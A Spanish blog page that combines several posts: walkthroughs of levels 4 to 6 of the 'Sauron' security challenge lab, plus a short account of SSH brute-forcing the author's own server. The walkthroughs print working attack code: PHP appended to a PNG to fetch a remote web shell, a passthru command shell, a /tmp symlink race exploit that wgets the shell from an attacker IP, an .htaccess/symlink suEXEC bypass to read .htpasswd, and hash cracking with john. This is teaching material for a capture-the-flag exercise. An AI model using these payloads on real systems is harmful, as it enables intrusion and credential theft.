En un post anterior ya había hablado de la herramienta BackTrack, un Live CD con utilidades para auditar equipos y redes informáticas, ayer lanzaron una nueva versión que tiene muy buena pinta y espero poder probar en breve.
Descargar imágen de Cd (.ISO)
Descargar Versión USB
Descargar imágen de VMWare
Saludos nuevamente,
nos encontramos ya en el penúltimo de los niveles de este reto, que esta ocasión hemos resuelto con una semana entera de retraso, debido a los desajustes propios de los periodos vacacionales. Por ello, sin perder más tiempo, vamos con su resolución.
En este sexto nivel, una vez obtenido el acceso a intranet.blindware.inc lo primero que vamos a encontrar es un fichero de nombre “moved.html”, que parece querernos redirigir hacia una IP de clase A: 10.50.150.200, además de este fichero “moved.html”, nos encontramos un directorio de nombre cgi-bak en el cual aparecen numerosos scripts, que podemos descargar en lo que parece un backup del mismo.
Podemos deducir, por tanto, que la intranet se ha movido de este sistema al recien descubierto 10.50.150.200, y que además en el proceso de mover cosas, algunos scripts, sin que esté muy claro el motivo, han quedado en este sistema. Este es un escenario relativamente común en entornos de producción maduros, en los que por motivos de rendimiento, u otros, partes de los aplicativos o servicios son migrados a nuevos sistemas. Esta migración, eventualmente, puede tener como consecuencia el olvido de restos de información significativa en el sistema inicial.
De momento, lo primero que debemos hacer es bajar el fichero de backup, puesto que estos siempre son una fuente de información muy útil para nuestros propósitos: códigos fuentes, contraseñas, y otra variedad de información están contenidas en ellos.
Ahora es el momento de revisar los códigos fuentes de los ficheros almacenados en el servidor. Esta es una tarea para la que sólo hay recomendaciones, pero no una técnica definitiva. Lo que deberemos buscar, generalmente son: entradas y salidas de datos provinientes del usuario, modificaciones sobre los datos del usuario (concatenaciones, alteraciones, etc) y por último llamadas a funciones potencialmente inseguras y/o con riesgo potencial ( dependerá del lenguaje en el que nos encontremos, pero serán funciones principalemente de ejecución de comandos, de trabajo con memoria, etc ).
De su revisión, y con un poco de paciencia, obtenemos dos datos, más o menos relevantes:
1. Únicamente 2 ficheros producen salidas a disco
2. Únicamente 1 fichero admite entradas de usuario
Vamos a revisar el código fuente de estos 2 ficheros.
PhoneBook
#!/bin/sh
# Phonebook example as shell script
phonebook=sh_phone.dat
function phonebook_add
{
if [ "$value1" = "" ]; then
echo “Name is required!”
return
fi
if [ -z "$value2" ]; then
echo “Phone is required!”
return
fi
entry=`grep $value1 $phonebook`
if [ "$entry" = "" ]; then
echo “$value1 $value2″ >>$phonebook
if [ $? ]; then
echo “Entry $value1 added successfully!”
else
echo “Unable to add to $phonebook. Contact Webmaster.”
fi
else
echo “Entry $value1 already exists!”
fi
}
function phonebook_delete
{
if [ "$value1" = "" ]; then
echo “Name is required!”
return
fi
entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
mv $phonebook $phonebook.tmp
grep -v $value1 $phonebook.tmp >$phonebook
if [ $? ]; then
echo “Entry $value1 deleted successfully!”
else
echo “Unable to delete from $phonebook. Contact Webmaster.”
fi
else
echo “Entry $value1 not found in the phonebook.”
fi
}
function phonebook_search
{
if [ "$value1" = "" ]; then
echo “Name is required!”
return
fi
entry=`grep $value1 $phonebook`
if [ "$entry" != "" ]; then
name=`echo “$entry” | cut -f1 -d’ ‘`
phone=`echo “$entry” | cut -f2 -d’ ‘`
echo “Name = $name\nPhone = $phone”
else
echo “Entry $value1 not found in the phonebook.”
fi
}
# Main program
# send the MIME header first
echo “Content-type: text/plain”
echo
# get the length of the cgi content
# not used here since read can read free form input
# echo “CONTENT_LENGTH = $CONTENT_LENGTH”
# read the cgi content
read cgiStr
# echo “input read = $cgiStr”
# process the received input string
# first split cgiStr using the ‘&’ as separator
field1Encoded=”${cgiStr%%&*}”
cgiStr=”${cgiStr#*&}”
field2Encoded=”${cgiStr%%&*}”
cgiStr=”${cgiStr#*&}”
field3Encoded=”$cgiStr”
# decode the string
# change ‘+’s to ‘ ’s
# translate hex characters - not implemented here
field1=`echo $field1Encoded | tr ‘+’ ‘ ‘`
field2=`echo $field2Encoded | tr ‘+’ ‘ ‘`
field3=`echo $field3Encoded | tr ‘+’ ‘ ‘`
# split the string into name and value
# name1=${field1%=*}
value1=”${field1#*=}”
# name2=${field2%=*}
value2=”${field2#*=}”
# name3=${field3%=*}
value3=”${field3#*=}”
# value3 has an extra character at the end because of the free form read
# echo :$value3: $value1 $value2
# call appropriate function depending on ACTION
if [ "${value3#ADD}" != "$value3" ]; then
phonebook_add
elif [ "${value3#DELETE}" != "$value3" ]; then
phonebook_delete
else
phonebook_search
fi
do_passv.cgi
#!/bin/sh
rm /tmp/tmp_*
TMP_NAME=”/tmp/tmp_”`echo $RANDOM | md5sum | cut -f1 -d” “`
wget -O $TMP_NAME –no-check-certificate https://127.0.0.1/doit.txt 2> /dev/null
chmod +x $TMP_NAME
exec $TMP_NAME
Llegados a este punto, nos podemos empeñar en que el fallo de seguridad está en la agenda de teléfonos porque es el script que admite entrada de parámetros. La realidad es bien distinta, es cierto que la agenda de teléfonos es un script bastante cutre, y bastante mal programado, pero por mucho que nos empeñemos no vamos a obtener un fallo de seguridad de él, ya que en realidad no realiza ninguna operación comprometida con los datos.
Otro caso muy diferente es el pequeño script. Para empezar hacer una operación que siempre es crítica: intenta ejecutar algo. El script, a simple vista, parece que genera un fichero aleatorio en disco, con un contenido descargado de un servidor web, para luego ejecutarlo.
Pues, aunque no lo parezca, este es un script inseguro. El motivo de su inseguridad, que deriva en una condición de carrera ( race condition ) estriba en el insuficiente espacio de colisión que aporta la variable $RANDOM. Por defecto, $RANDOM, genera 32K valores, que el script transforma en una cadena md5, es decir, los valores del 0 al 32767 ( a ojo ) son convertidos a un string md5, sobre el que se guarda el fichero, para luego ser ejecutado.
Además de eso, no se chequea la existencia previa del fichero, y únicamente hay un guiño leve a la seguridad, pues se borran ficheros anteriores. Al no chequear la existencia previa, otro usuario puede haber creado un enlace simbólico a otro fichero, y este será el que se ejecute en detrimento del nuestro. Además, el borrar ficheros, no sirve, a menos que tengamos permisos para hacerlo. Dicho de otra forma, este script sólo borraría cualquier fichero si el usuario que lo ejecutara fuera root. En ese caso, la race condition no sería “inexplotable”, pero sí que se dificultaría su explotación, puesto que se tendrían que generar los enlaces entre el borrado, y la ejecución, existiendo una ventana de tiempo muy reducida para ello.
Por tanto, nuestro vector de ataque se fundamenta en pregenerar enlaces simbólicos con nombre tmp_md5string, donde md5string será una cadena que contendrá la codificación md5 de los strings del 1 al 32767. Y aquí nos enfrentamos a una pequeña complejidad para la explotación, el número de enlaces que podemos crear en el sistema de ficheros, está relacionado directamente con 2 parámetros:
o Para enlaces simbólicos será igual al número de inodos disponibles en el sistema de ficheros.
o Para enlaces duros, será igual al límite de ficheros que se permite como máximo en un directorio, en caso de que el sistema de ficheros no consuma inodos al crear enlaces duros ( p.ej ext3 ), o al número de enlaces duros en caso de que los consuma.
Para el caso que nos ocupa, el directorio /tmp es tiene la sisguientes características:
tmpfs on /tmp type tmpfs (rw,size=4M)
Por tanto, dado que es un sistema tmpfs, se pueden crear tantos enlaces como inodos disponibles.
Filesystem Inodes IUsed IFree IUse% Mounted on
tmpfs 15674 8 15666 1% /tmp
Así que debemos crear un script, que genere enlaces simbólicos, hasta completar el número de inodos, permitiéndolos la explotación de la race condition, y que tras su ejecución nos cree una copia de una shell en php. Vamos a ello.
#!/bin/bash
MINNUM=1;
MAXNUM=15666;
for number in `seq $MINNUM $MAXNUM`; do
TMP_NAME=”/tmp/tmp_”`echo $number | md5sum | cut -f1 -d” “`
ln -s /tmp/exploit $TMP_NAME
done
El script es bastante sencillo, simplemente recorre de MINNUM a MAXNUM, generando enlaces simbólicos ( codificados en MD5 ) al fichero /tmp/exploit. Cuyo contenido puede ser bastante parecido al siguiente:
#!/bin/bash
wget http://IP/shell.txt
cp shell.txt /var/www/intranet/htdocs/shell.php
chmod +x /var/www/intranet/htdocs/shell.php
En definitiva, copiamos una shell en PHP, a disco, y la movemos al directorio web del usuario intranet, sin olvidarnos de adecuar los permisos de ejecución.
Todos estos ficheros, los subimos al servidor al directorio /tmp, mediante los privilegios que tenemos en el usuario blindware y ejecutamos el exploit con ese usuario.
Cuando ejecutemos el exploit, este tardará un tiempo considerable en generar todos los enlaces simbólicos, también podemos hacer que genere en vez de 15666, 1500, o la cifra que prefiramos, cuanto menor sea la cifra, menos posibilidades de explotación efectiva de la condición de carrera tendremos.
Una vez creados los enlaces simplemente ejecutamos el script con el fallo de seguridad:
o http://intranet.blindware.inc/cgi-bak/do_passv.cgi
Si la explotación falla obtendremos el resultado típico:
> ID: uid=501(intranet) gid=501(intranet) groups=501(intranet)
> UPTIME: 14:41:56 up 2:28, 2 users, load average: 0.00, 0.35, 0.42
> INFO: Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
Cuando acertemos, simplemente veremos una pantalla en blanco. En ese momento, para nuestra satisfacción, tendremos una nueva shell en http://intranet.blindware.inc/shell.php
Y ejecutando nuestro primer comando ( id ), comprobaremos que ya somos usuario intranet:
o uid=501(intranet) gid=501(intranet) groups=501(intranet)
Con esto, habiendo ganado ejecución de comandos con otro usuario, podemos decir que hemos concluido este nivel, y que ya estamos a sólo un paso del final. ¡Hasta dentro de 15 días!
Tags: sauron | secgame | sg6Primero, y como es habitual saludar a todos los que nos siguen, segundo enviar un saludo a todos los que desde Extrelan pasaron un buen rato resolviendo éste reto, con algunas ligeras modificaciones. Ahora, con un día de retraso nuevamente, vamos a resolver el que es ya el quinto nivel dentro de los desafíos de Sauron. Empecemos.
El nivel 5 es quizá uno de los momentos menos concretos de todos los que se pueden presentar. Ahora hemos conseguido ser usuarios locales del sistema, podemos ejecutar comandos, leer directorios, ver configuraciones, y podemos, en definitiva, explorar muchísimas posibilidades.
Sin embargo, hay que matizar algo importante, que puede servir para ahorrarnos muchas horas de trabajo inútil: si nos encontramos en un sistema actualizado, sin fallos de seguridad en el kernel y en otros servicios administrativos, es muy difícil, a menos que el administrador haya configurado algo de forma errónea, escalar privilegios directamente, hacia un usuario administrativo. ¿Qué podemos hacer entonces en estas situaciones?
Nuestro objetivo, en estos casos en los que ser “root” o “Administrador” no parece ser inmediato, será extraer la mayor cantidad de información del sistema, obtener el mayor número de cuentas de usuario posibles, etc.
¿Cómo conseguir eso?. Primeramente, en los sistemas que tengan servicios web, nos centraremos en estos, ¿por qué?. Básicamente porque el aislamiento entre usuarios web, es quizá no complicado, pero sí tedioso. Es fácil encontrar escenarios en los que directamente podamos acceder a los directorios de otros usuarios en la web, y leer sus ficheros, porque todas estas carpetas pueden ser leídas por el usuario que ejecuta el servidor web ( apache, httpd, etc ). En otros escenarios los usuarios web estarán aislados usando cgi-wrappers. Y únicamente, en los entornos más avanzados y seguros, cada usuario web poseerá una máquina virtual o un vps, en la que sólo existirá él. En caso de no existir escenario web, otros escenarios posibles son por este orden: ficheros de configuración, ficheros temporales, ficheros de logs y permisos inseguros.
En este escenario que nos ocupa, relativamente común en un entorno de seguridad medio con árbol web (incluso muy común en granjas de servidores web), vamos a ver cómo se puede proceder. Lo primero, saber quiénes son los usuarios.
blindware:x:500:500::/var/www/blindware:/bin/bash intranet:x:501:501::/var/www/intranet:/bin/bash developer:x:502:502::/home/developer:/bin/bash
El sistema parece tener 3 usuarios. 2 de ellos, usuarios web, uno de los cuales es el usuario con el que podemos ejecutar comandos, y otro es el usuario “intranet”.
Podemos probar a acceder al directorio del usuario intranet (/var/www/intranet), pero rápidamente nos daremos cuenta, que poco podemos hacer, pues nos deniega el acceso. Incluso si intentamos leer /var/www, obtendremos resultado parecido, puesto que sus permisos son los siguientes:
d–x–x–x 8 root root 4096 May 12 13:52 www
Ésta situación es bastante común, sin embargo, hay un fichero en el sistema que nos será siempre de gran utilidad, y es la configuración del propio Apache, la cual habitualmente se encuentra desprotegida (en este caso dentro de /etc/httpd/httpd.conf).
ServerAdmin blindware@blindware.inc
DocumentRoot /var/www/blindware/htdocs
ServerName www.blindware.inc
SuexecUserGroup blindware blindware
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerAdmin intranet@blindware.inc
DocumentRoot /var/www/intranet/htdocs
ServerName intranet.blindware.inc
SuexecUserGroup intranet intranet
<Directory />
Options Indexes SymLinksIfOwnerMatch ExecCGI
AllowOverride All
</Directory>
</VirtualHost>
De esta configuración, lo primero que extraemos, es que los hosts están aislados mediante Apache suEXEC, lo cual hace que PHP esté configurado para ejecución en modo CGI, en vez de cómo módulo de Apache, y por ello antes necesitábamos permisos de ejecución en los ficheros PHP. Tal y como comentamos con anterioridad, no es recomendable ir reinventando la rueda a cada paso, por ello, la pregunta que nos tenemos que hacer en este punto es: ¿existe algún procedimiento público y documentado que permita sobrepasar los mecanismos de aislamiento de hosts basados en Apache suEXEC?.
Existe, únicamente tenemos que buscar en Google: “apache suexec”, “apache suexec bypass”, o similares y encontraremos un documento denominado “Apache suEXEC Bypass” en el cual se nos detalla de forma bastante extensa los problemas de configuración asociados a éste sistema.
A grandes rasgos, nosotros vamos a sacar lo más interesante del documento, para hacernos una idea de cómo podemos proceder para leer ficheros dentro del directorio web del usuario intranet.
1. Los diferentes hosts virtuales de Apache, mediante suEXEC, lo que consiguen es que cada host ejecute comandos CGI, bajo un usuario diferente. De esta forma, por ejemplo, nosotros ejecutamos comandos con “blindware”, mientras que el vhost intranet, ejecuta comandos con el usuario “intranet”.
2. Esto permite un esquema de aislamiento “relativamente” sencillo.
drwxr-x— 3 blindware apache 4096 nov 25 17:00 blindware
drwxr-x— 3 intranet apache 4096 nov 25 17:00 intranet
Si nos damos cuenta, cada usuario es propietario de su directorio, y ningún otro usuario puede acceder a ellos, a excepción del usuario apache, con el que se ejecuta el servicio web. Esto “garantiza”, que aunque el usuario ejecute comandos en el sistema, ningún usuario podrá acceder al directorio de otro usuario.
3. Esta idea, cuenta con un fallo: el enlace simbólico. Los enlaces simbólicos se pueden establecer sobre ficheros en los que no tenemos permisos. Dicho de otra forma, nosotros como usuario “blindware”, podemos enlazar cualquier fichero del usuario “intranet”, del que conozcamos su existencia.
4. Una vez enlazado el fichero, podremos usar Apache, para leer el enlace simbólico, de esta forma, el enlace simbólico será leido con los permisos de Apache, usuario Apache, y podremos acceder a aquellos directorios a los que Apache tenga acceso, que comúnmente son todos los del árbol web, puesto que debe poder leerlos.
5. Para que el ataque tenga éxito Apache, es así por defecto, debe estar activa la opción FollowSymLinks en Apache. Por el contrario, si la opción que se encuentra activa es SymLinksIfOwnerMatch, el ataque no se podrá realizar, puesto que Apache, únicamente seguirá enlaces que apunten a ficheros propiedad del dueño del enlace.
6. En caso de estar activa la directiva SymLinksIfOwnerMatch, podrá ser modificada por un usuario mediante un fichero .htaccess, siempre que las opciones AllowOverride Options, o AllowOverride All, estén habilitadas.
A priori, parece que nos encontramos en un escenario vulnerable: se usa suEXEC, y aunque se encuentra habilitada la opción SymLinksIfOwnerMatch, también está habilitada la cláusula AllowOverride All. Por tanto, es cuestión de proceder, a través de nuestra shell en PHP según lo que vamos a describir a continuación. Un detalle importante, cuando queramos ejecutar contenido en nuestra shell PHP, cualquier instrucción que incluya caracteres mínimamente extraños, debemos hace uso de URLEncode.
1. Lo primero que queremos hacer es escribir un fichero .htaccess que nos permita aprovecharnos de esta vulnerabilidad. La orden bien pudiera ser esta.
echo “Options -SymLinksIfOwnerMatch +FollowSymLinks” > .htaccess
Pero como sabemos, debe ser URLEncodeada, quedando una cadena, para su ejecución en nuestra shell, como la siguiente:
echo+%22Options+-SymLinksIfOwnerMatch+%2BFollowSymLinks%22+%3E+.htaccess
2. Ahora es cuestión de crear un enlace simbólico, sobre algún contenido que nos interese leer del directorio “intranet”. En este caso, lo más interesante es leer el fichero .htaccess de ese directorio, del que nos garantizamos su existencia, y que además nos impide el acceso al contenido web de http://intranet.blindware.inc. Creamos pues el enlace simbólico: ln –s /var/www/intranet/htdocs/.htaccess htaccess
De esta forma, tenemos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htacccess, que una vez visitado nos dará el contenido del fichero:
Options +Indexes
AuthName “Blindware - Intranet Protected”
AuthType Basic
AuthUserFile /var/www/intranet/htdocs/.htpasswd
require valid-user
4. Repetimos el proceso, una vez que conocemos la localización del fichero .htpasswd. Para ello creamos otro enlace simbólico: ln –s /var/www/intranet/htdocs/.htpasswd htpasswd
De esta forma, creamos un enlace directo, en nuestro directorio http://www.blindware.inc/_controlp/htpasswd, que una vez visitado nos dará el contenido del fichero.
admin:tCPJIYCZjtqF6
5. Tenemos el usuario, y el hash del acceso a intranet.blindware.inc, podemos bien intentar crackearlo, bien seguir intentando la lectura de ficheros contenidos en ese directorio. A priori es un hash DES tradicional, con lo cual podemos intentar romperlo, a ver qué sucede.
Para romper el hash, hacemos uso de la herramienta “john the ripper”, que es con diferencia el crackeador de passwords más conocido de Unix.
$ john htpasswd
guesses: 1 time: 0:00:00:10 (3) c/s: 335628 trying: 132449 - 132498
Loaded 1 password hash (Traditional DES [64/64 BS MMX])
132456 (admin)
Pues ya conocemos el password: 132456 con usuario admin. Lo que nos permite acceder a intranet.blindware.inc y seguir avanzando en la resolución de Sauron. Dentro de 15 días, continuaremos con el siguiente nivel. Suerte a todos los que intentáis superarlo.
Tags: sauron | secgameSaludos a todos,
esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.
Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:
Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.
Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.
No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.
Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección “Cambio de parámetros” la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.
Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:
Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.
Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:
$ cat >> img.png
<? phpinfo(); ?>
Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.
¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:
<? header(”Content-Type: image/png”); readfile(”01.png”); ?>
Por tanto, nuestro fichero subido sabemos que se llama “01.png” y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:
Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.
El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); ?>
Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.
El contenido de shell.txt puede ser el siguiente:
<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>
El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable “cmd”. De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php
Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:
<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>
Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x
Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:
http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux
http://www.blindware.inc/_controlp/shell.php?cmd=id
uid=500(blindware) gid=500(blindware) groups=500(blindware)
Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel.
A modo didáctico dedique unas horas a investigar como se realizaban estos ataques.
El objevito era mi servidor local con ubuntu 7.10, con ssh activado al que iba a intentar “forzar”.
Para no andar enguarrando mi sistema con librerias, instalaciones y configuraciones que solo serían para la demostración me encontré con esta distribución live que ya disponía de varias herramientas.
http://www.remote-exploit.org/backtrack.html
Esta distribución live ya dispone de Jonh The Riper. Pero aún así el wordlist que utilicé para el brute force fue:
ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/spanish/words.spanish.gz
Podemos ver como funciona esta herramienta en un video:
http://icaix.com/tutoriales/bruteForce.htm
En este video se puede observar como tras andar probando contraseñas contra el puerto ssh del objetivo acaba encontrando la contraseña adecuada.
Bien, tras tener las herramientas a probar y sabiendo como utilizarlas me dispuse a realizar la prueba de ataque a mi servidor local.
El resultado no fue el esperado, ya que un ataque por SSH a los 5 intentos del brute force rechazaba más intentos. Lo que primero intenté fue agregar más parametros al comando de “ataque” para así intentar hacer más intentos. Los resultados no obtuvieron éxito.
Entonces podemos confirmar que este tipo de ataques caen en el olvido y serían técnicas del “pasado”. Hablo de mi ignorancia del tema y del tiempo que he podido disponer para realizar estas pruebas.
No obstante es entretenida la prueba y conocer como funciona. Esta herramienta es válida para intentar “forzar” la entrada a diferentes servicios, entre los que se incluye VNC, FTP…
Os recomiendo que probar esta herramienta, aunque eso sí, tener en cuenta que si intentáis acceder a una máquina que no sea de vuestra propiedad se considera una acción ilegal.
Tags: medusa | hacking | ssh | brute force
Loading ...
Recent Comments